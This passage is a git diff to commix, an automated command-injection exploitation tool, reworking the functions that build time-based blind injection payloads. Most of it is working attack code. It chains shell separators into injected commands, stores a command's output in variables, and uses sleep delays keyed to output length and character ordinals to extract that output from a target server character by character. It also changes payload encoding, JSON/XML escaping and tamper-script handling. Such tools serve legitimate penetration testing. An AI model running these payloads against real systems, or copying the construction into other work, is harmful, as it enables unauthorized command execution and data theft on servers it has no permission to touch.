settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + settings.SINGLE_WHITESPACE + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -162,7 +162,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -179,19 +179,19 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ def condition_check(separator, condition, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: return None - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + "[ " + condition + " ]" + separator + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + condition + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator in (_urllib.parse.quote("&"), _urllib.parse.quote("&&"), ""): - payload = (_urllib.parse.quote("&") + + elif separator in ("&", "&&", ""): + payload = ("&" + "sleep 0" + separator + "[ " + condition + " ]" + separator + "sleep " + str(timesec) @@ -232,21 +232,21 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: settings.USER_APPLIED_CMD = cmd word = _output_word(cmd) - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(output_length) + " -eq " + _length_expr(word) + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0" + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + @@ -281,27 +281,27 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "%26": + elif separator == "&": payload = (separator + # Find the length of the output, using readline(). "[ " + str(output_length) + " -eq " + _py_length_expr(cmd) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) @@ -310,7 +310,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne " + _py_length_expr(cmd) + " ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -332,21 +332,21 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): else: settings.USER_APPLIED_CMD = cmd word = _output_word(cmd) - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(candidate_length) + " -le " + _length_expr(word) + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0" + separator + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + @@ -380,29 +380,29 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(candidate_length) + " -le " + _py_length_expr(cmd) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + "[ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + "[ " + str(candidate_length) + " -gt " + _py_length_expr(cmd) + " ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -437,7 +437,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met var_ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" ordinal_expr = _ordinal_expr(word, num_of_chars) - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + @@ -446,14 +446,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_expr + ")))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. @@ -494,25 +494,25 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -520,7 +520,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: @@ -543,33 +543,33 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese payload = checks.windows_probe(chain, cmd, "==", ascii_char, timesec) else: - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == "%26": + elif separator == "&": payload = (separator + - "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1d7ca2aec0..054830d0e3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -106,7 +106,9 @@ def check_waf(url, http_request_method): info_msg = "Checking whether some kind of WAF/IPS is protecting the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: - settings.print_data_to_stdout(settings.print_payload(payload)) + # Shown the way it was written, as every other payload is - what goes on the wire is encoded, + # and that is what the traffic at '-v 2' shows. + settings.print_data_to_stdout(settings.print_payload(settings.WAF_CHECK_PAYLOAD)) payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload if not "?" in url: payload = "?" + payload @@ -449,7 +451,8 @@ def tempfile_based_payloads(): def eval_prefixes(): prefixes = list(settings.EVAL_PREFIXES) for function in settings.EXECUTION_FUNCTIONS: - candidate = function if function.startswith("${") else "${" + function + "(" + # How a function is reached is the language's own spelling, not something to assume here. + candidate = settings.EVAL_GRAMMAR.execution_prefix(function) if candidate not in prefixes: prefixes.append(candidate) return prefixes @@ -830,21 +833,28 @@ def sanitize_payload_newlines(payload): ): return payload.replace(settings.END_LINE.LF, ";") - if settings.TARGET_OS != settings.OS.WINDOWS: - return payload.replace(settings.END_LINE.LF, "%0d") + """ + Nothing else is rewritten. + A newline inside a payload is written as the character it is meant to be - an interpreter's own + line break is a carriage return where it is one - so there is nothing left here to correct, and a + separator that is itself a newline must not be turned into something else. + """ return payload """ Normalize newline sequences (CRLF, CR, LF) into lowercase URL-encoded form. """ def normalize_newlines(payload): - payload = _urllib.parse.unquote(payload) + """ + A header value cannot carry a line break - one would end the header, or be refused outright - so + any that the payload holds are written out in their encoded form instead. + Only those. The payload used to be decoded whole first, which was needed while it arrived + part-encoded and is now only a way to damage a command that contains a per-cent sign. + """ for seq in [settings.END_LINE.CRLF, settings.END_LINE.CR, settings.END_LINE.LF]: - encoded = _urllib.parse.quote(seq) - payload = payload.replace(seq, encoded.lower()) - payload = payload.replace(encoded.upper(), encoded.lower()) + payload = payload.replace(seq, _urllib.parse.quote(seq).lower()) return payload @@ -1493,11 +1503,13 @@ def user_defined_os(): if menu.options.os.lower() == "windows": settings.TARGET_OS = settings.OS.WINDOWS return True - elif menu.options.os.lower() == "unix": + # Both spellings, since 'Unix-like' is what commix calls the family everywhere else and 'Unix' + # is what this switch has always taken. + elif menu.options.os.lower() in ("unix", "unix-like"): return True else: err_msg = "You defined an invalid value '" + menu.options.os + "' " - err_msg += "for the operating system. The value must be 'Windows' or 'Unix'." + err_msg += "for the operating system. The value must be 'Windows' or 'Unix-like'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1532,8 +1544,70 @@ def define_target_os(): """ The one name the target's operating system is given, wherever it is printed. """ +""" +A payload, escaped to sit inside a JSON string. + +A JSON string may not hold a raw control character, and three of the separators are exactly that - +a newline, a carriage return and a substitute character. Left as they were the body was not JSON at +all, the parser refused it, and the technique looked inapplicable to every JSON endpoint for a +reason that had nothing to do with the target. The backslash goes too, or one in the payload +escapes whatever follows it. +""" +def escape_json_value(value): + escaped = "" + for char in value: + if char < " " or char in ("\"", "\\"): + escaped += json.dumps(char)[1:-1] + else: + escaped += char + return escaped + +""" +A payload, with the characters XML cannot carry taken out. + +XML 1.0 admits no control character but tab, newline and carriage return - a substitute character +in a document makes it unparseable wherever it appears, so the separator that is one cannot travel +this way at all. +""" +def strip_xml_forbidden(value): + return "".join(char for char in value if char >= " " or char in "\t\n\r") + +def encode_payload(payload): + """ + A payload, encoded for a carrier that is URL-encoded. + + '%' is left alone, because the payloads write their own encoded sequences and re-encoding those + would send '%2520' where '%20' was meant. That leaves the corner case of a '%' that really is a + per-cent sign: it is not part of a '%XX', the target reads it as the start of one, and a strict + server answers 400 rather than running anything. + + So a '%' with no two hex digits behind it is made '%25' first - unless a tamper script is in play, + since those write escapes of their own and this cannot tell theirs from a stray one. + """ + if "%" in payload and not menu.options.tamper: + payload = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", payload) + return _urllib.parse.quote(payload, safe=settings.payload_safe_chars()) + +def target_shell_label(): + """ + What a payload that executed actually established: which shell understood it. + + Not the operating system - a POSIX shell answers on Windows too, under WSL, Cygwin, Git Bash or + busybox, so 'a POSIX shell ran this' is no evidence of a Unix-like host. Which syntax works is + also the more useful half for whoever is reading, being the half they would act on. + + The standard rather than a shell's name, because which one it is was never asked: 'sh', 'bash', + 'dash' and 'zsh' all answer the same syntax, and only that syntax was shown to work. + """ + return "cmd.exe" if settings.TARGET_OS == settings.OS.WINDOWS else "POSIX" + def target_os_label(): - return settings.OS.WINDOWS.title() if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell" + """ + What is known is the family, not the distribution: which of the two payload shapes the target + answered. Windows names itself; everything else is Linux, macOS, a BSD or another Unix - so the + umbrella term for those is what is reported, rather than the shell that gave it away. + """ + return settings.OS.WINDOWS.title() if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" """ Record an identified operating system. Every check that fingerprints one comes through here, so the @@ -2034,17 +2108,29 @@ def list_tamper_scripts(): Shared building blocks for tamper scripts' own dependencies() checks - each script decides which of these apply to it, instead of a central list here trying to track every script's constraints. """ +""" +Both of these test the operating system, because that is what commix knows - but what they are +really enforcing is the syntax a script is written in, so that is what they say. A shell is named +rather than the host it usually comes with. +""" def tamper_dep_windows_only(tamper_name): if settings.TARGET_OS != settings.OS.WINDOWS: - return "Unix-like targets do not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + return "The '" + tamper_name + ".py' tamper script needs 'cmd.exe'. Skipping tamper script." def tamper_dep_unix_only(tamper_name): if settings.TARGET_OS == settings.OS.WINDOWS: - return "Windows targets do not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + return "The '" + tamper_name + ".py' tamper script needs a POSIX shell. Skipping tamper script." def tamper_dep_eval_incompatible(tamper_name): - if settings.CURRENT_TECHNIQUE == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - return "The dynamic code evaluation technique does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + """ + What these scripts cannot survive is the sink, not the technique that reaches it. + + Asked of the classic technique alone, they were skipped there and applied everywhere else - and + code injection is now proven time-based and file-based as well, so the payloads they would have + corrupted were being sent by every technique but the one that refused them. + """ + if menu.options.eval_sink: + return "Code injection (i.e. '--eval') does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." def tamper_dep_time_related_only(tamper_name): time_related_in_scope = len(menu.options.tech) == 0 or "t" in menu.options.tech or "f" in menu.options.tech @@ -2268,7 +2354,8 @@ def _enable_tamper_script(tamper_name): def whitespace_check(payload): _ = [] - whitespaces = ["${IFS}", "+", "%09", "%0b", "%20"] + # As they appear in a payload now: written out, and encoded only on the way to the wire. + whitespaces = ["${IFS}", "+", "\t", "\v", " "] for whitespace in whitespaces: if whitespace in payload: _.append(whitespace) @@ -3905,7 +3992,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon """ -TEMP path for win/*nix, without touching WEB_ROOT or prompting. +TEMP path for a Windows or Unix-like target, without touching WEB_ROOT or prompting. """ def default_tmp_path(): if settings.TARGET_OS == settings.OS.WINDOWS: @@ -3918,7 +4005,7 @@ def default_tmp_path(): return normalize_target_dir(menu.options.tmp_path or settings.TMP_PATH) """ -Return TEMP path for win / *nix targets. +Return TEMP path for a Windows or Unix-like target. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): tmp_path = default_tmp_path() @@ -4066,7 +4153,7 @@ def windows_only_attack_vector(): The operator a Windows payload starts with, or None when the separator does not chain commands in cmd.exe at all - ';', a newline and Ctrl-Z do not, so there is no payload to build for those. """ -WINDOWS_SEPARATORS = ("%26", "%26%26", "|", "||", "") +WINDOWS_SEPARATORS = ("&", "&&", "|", "||", "") def windows_separator(separator): return separator if separator in WINDOWS_SEPARATORS else None @@ -4086,7 +4173,7 @@ def separator_chains(separator): The operator a payload chains its own commands with, once it has started with the separator under test. Unconditional, unlike '||' and '|', so every part runs no matter how the first one ended. """ -WINDOWS_CHAIN = "%26" +WINDOWS_CHAIN = "&" """ What a Windows payload ends with when its last token is a filename or a quoted literal. cmd.exe has @@ -4205,7 +4292,7 @@ def fix_newlines_for_headers(payload, separator): if settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or 